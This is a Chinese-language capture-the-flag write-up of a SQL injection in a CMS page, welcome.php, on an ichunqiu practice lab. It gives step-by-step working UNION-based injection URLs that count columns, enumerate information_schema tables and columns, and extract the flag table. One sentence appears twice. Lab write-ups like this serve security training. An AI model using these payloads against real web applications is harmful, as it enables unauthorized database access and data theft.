该CMS的welcome.php中存在SQL注入攻击。
正文
这关首先需要登录进去才嗯那个找到welcome.php界面,所以我们就直接注册一个账号登录进去就好了。
登录进去之后我们可以看到已经到了welcome.php界面下。点击这三个后发现只有第一个有可以供我们点击的内容,其他两个没有可以点击的,所以我们就可以推测注入点在这个home界面内。
然后我们就可以发现在这三个中只有第一个存在报错拿,那么就可以锁定,注入点就在这里。
然后我们就可以发现在这三个中只有第一个存在报错拿,那么就可以锁定,注入点就在这里。
welcome.php?q=quiz&step=2&eid=60377db362694&n=1&t=34
观察这关url我们还是不能确定具体哪个参数进行注入,那么就可以采取一个笨一点的办法,那就是从最后一个开始一个个往前测试再删除。
当对t参数进行字符串测试发现并没有任何反应那么就可以排除这个参数然后删除再测前一个。
我们可以看到有当是单引号的时候发现报错,说明这个是个单引号闭合的有回显的报错。那么就好办了,这里我用是联合查询。
判断数据库有几列数据
首先来看联合查询,那么我们就需要知道数据库有几列数据,所以用
http://eci-2ze5x4un6q73tb18e3wi.cloudeci1.ichunqiu.com/welcome.php?q=quiz&step=2&eid=60377db362694&n=1' order by 5--+
来测试,发现在这个数据库中有5列数据。
判断显示位在第几列
那么第二步就需要知道他显示出来的数据在第几列,所以我们就可以用
http://eci-2ze5x4un6q73tb18e3wi.cloudeci1.ichunqiu.com/welcome.php?q=quiz&step=2&eid=60377db362694&n=1' union select 1,2,3,4,5--+
来观察发现数据回显是在3这个位置,那么就可以在3这个位置进行注入。
爆数据库名
http://eci-2ze5x4un6q73tb18e3wi.cloudeci1.ichunqiu.com/welcome.php?q=quiz&step=2&eid=60377db362694&n=1' union select 1,2,database(),4,5--+
查表名
http://eci-2ze5x4un6q73tb18e3wi.cloudeci1.ichunqiu.com/welcome.php?q=quiz&step=2&eid=60377db362694&n=1' union select 1,2,(select group_concat(table_name)from information_schema.tables where table_schema='ctf'),4,5--+
然后就很明显发现到了flag
查列名
http://eci-2ze5x4un6q73tb18e3wi.cloudeci1.ichunqiu.com/welcome.php?q=quiz&step=2&eid=60377db362694&n=1' union select 1,2,(select group_concat(column_name)from information_schema.columns where table_schema='ctf' and table_name='flag'),4,5--+
发现flag列名,那么就直接开始查数据
拿到flag
http://eci-2ze5x4un6q73tb18e3wi.cloudeci1.ichunqiu.com/welcome.php?q=quiz&step=2&eid=60377db362694&n=1' union select 1,2,(select group_concat(flag)from flag),4,5--+
到这里我们就已经拿到flag。结束靶场了。